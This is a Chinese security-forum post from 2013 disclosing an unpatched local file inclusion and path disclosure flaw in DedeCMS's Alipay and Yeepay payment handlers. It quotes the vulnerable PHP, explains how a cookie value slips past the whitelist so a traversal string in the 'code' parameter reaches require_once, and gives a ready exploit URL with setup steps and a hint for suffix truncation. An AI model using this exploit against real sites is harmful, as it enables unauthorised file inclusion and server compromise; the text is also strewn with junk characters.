找回密码
 立即注册
查看: 2764|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)! n! s. W6 D7 d5 ]- P& g0 a

- e9 l6 Y) B% s- c0 |0 ^# n出现漏洞的两个文件为:+ R. \) s5 I, Y2 c
Include/payment/alipay.php0 a! m* ]+ W0 u# }
Include/payment/yeepay.php; v* F$ k5 e# q6 p( O% I
漏洞均出现在respond方法里,估计这两个文件是临时工写的。! A4 `5 \5 B2 B6 g9 Y& h9 H
- s1 V9 Y; T2 G5 @3 c' ^/ z
Include/payment/alipay.php' u' E2 D4 g" p5 V; n- [; B

( L4 ^& x; N/ R; X......
' _- l& H  x/ _0 N. v, o& M# h+ F/ [   function respond()( y- T) j3 g: n4 v* M6 j" k. `
    {
5 X" P& d# a! \. F$ b5 E        if (!empty($_POST))% g* v/ R1 {! J0 q4 |
        {
7 ?, a7 @/ n! u6 ]$ b4 X            foreach($_POST as $key => $data)/ F) g" u7 W: T! |9 u/ e; Q
            {0 b! G' r4 d) }1 s
                $_GET[$key] = $data;
! k# L( y6 @/ ?6 W) y  @            }1 t- I2 \& R) Z% T4 ^% y
        }
: R3 X% a" G& B- c- ?6 w  a! F# Z        /* 引入配置文件 */
: y) x4 ]& g6 n* P6 R1 i        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
. ~7 @# R% h' C; I% b0 a...... + Q0 r0 l5 m( I/ l6 H. W5 n

- x9 T+ \% @+ p) @* k/ ^1 T& h: i3 S: z  e: \
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
  W1 {6 a7 c9 z3 Z
  x( P3 z' T0 a% s; U; SInclude/payment/yeepay.php/ z" ~; s+ v8 x: A
: U! L, X( G7 q1 F3 \

3 q$ I  _4 S. E3 r2 G& T3 }  m" e. |
......$ h: d" k0 @4 R! i2 K2 Z* t
    function respond()8 a7 p5 [+ ~& U
    {
4 C/ X4 c. d. d- T+ T! L# p) ~, \ ! Y3 a2 c: V5 M# j
        /* 引入配置文件 */( l/ b# I/ g; u" k7 a! }
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';, M. m6 o5 Z0 n1 T  V3 _4 S4 u, F7 ]

& Z2 @, E1 d5 x        $p1_MerId = trim($payment['yp_account']);
5 A' w+ V/ K' O: ~# ~- Q. I        $merchantKey = trim($payment['yp_key']);' ]2 n5 m, U  q/ X( d# _! D
......
) Q+ \5 r8 H' N# f0 s: J  N , T3 F5 V6 C( p9 Q4 B
! G0 d3 @3 ?- x' e9 F$ I' v7 b( G5 v

9 w% b. A) [6 t" c7 m1 D6 U5 z; r: W' r; r' A2 H+ s
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。$ r# g( X; I2 b4 f* A
( V; z% G; Y! U; a4 G3 T2 {
这两个方法在plus/carbuyaction.php文件调用。: v! ]6 Q8 O: l( t1 t

/ v/ Z. R) k5 p% D8 mplus/carbuyaction.php
2 l" r5 v, O. Y" u
' V6 T. M% P& z, G" F......
: K* I& N3 W) {  X4 z9 s1 F& h} else if ($dopost == 'return') {! [! u: C* N$ A- Y
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');9 B2 z- @+ }( V# n
    if (in_array($code, $write_list))" }; ~  {5 l% t5 Y7 T' F! y) a* G1 d
    {
. n5 J. \9 ]. f: c0 {0 \+ N        require_once DEDEINC.'/payment/'.$code.'.php';1 \8 F. `9 e1 C* K9 z% Z/ n
        $pay = new $code;
7 B+ T/ s+ C/ j  W; O, M        $msg=$pay->respond();
! E% h  e" c) n6 t% ^/ y2 S        ShowMsg($msg, "javascript:;", 0, 3000);
$ v/ f+ W: B  O        exit();  9 Q/ d5 k( A$ p1 ]: G9 m
    } else {
$ B( D+ p. `7 Y$ H1 ^: g' |        exit('Error:File Type Can\'t Recognized!');) ~0 }- p5 i  O* y; ~+ a# h
    }
8 {# c* ?+ F1 u; p- L  F  M. L5 O}  \& j8 m( n3 t4 s- E
......
% B* Y+ B$ @% P
7 E* W. e5 I3 l9 b& p: k1 w
+ \& b, W" w' v/ N0 Y1 V ; x# l% |5 j8 \% \2 h6 u# {: t; s. Q' N

$ J0 Q/ ~0 V* y. U! L % s" q; V8 f0 L& v  e
* S0 I: x' R. n; E- P4 ]- n
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。3 I) g  z, |# a/ n: t" F0 i; x
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。3 T: K  G7 t* ~: W9 H& l

% ^+ \  p& V1 h  R; D回到include/common.inc.php来看看他的机制。9 S/ x& E5 c4 c: h! r5 r

" v. U4 h3 b" @- p& {$ [+ j2 E4 i & X$ Z: m+ D6 i  ^9 ~7 h; s! ~
7 B! a- N: x- ~
......
6 d4 h  Z! ?% Bforeach(Array('_GET','_POST','_COOKIE') as $_request)
4 o! E& d% m( Y" m  B{
, S, i& [) O4 a+ a1 T        foreach($$_request as $_k => $_v) " M& C6 E9 P1 m" v
        {) z: D% \; C' z
                if($_k == 'nvarname') ${$_k} = $_v;
* a* R8 n( B8 o  N9 H" L                else ${$_k} = _RunMagicQuotes($_v);, d; M& q6 X* @
        }
7 M& x. X, ~; A1 V: ~: Q: t1 y+ T" f}8 a' H9 F$ Z# R5 V
......
+ C6 b- j+ m1 Q" X% y大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:; H8 `8 e7 H. `; U1 b. J
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表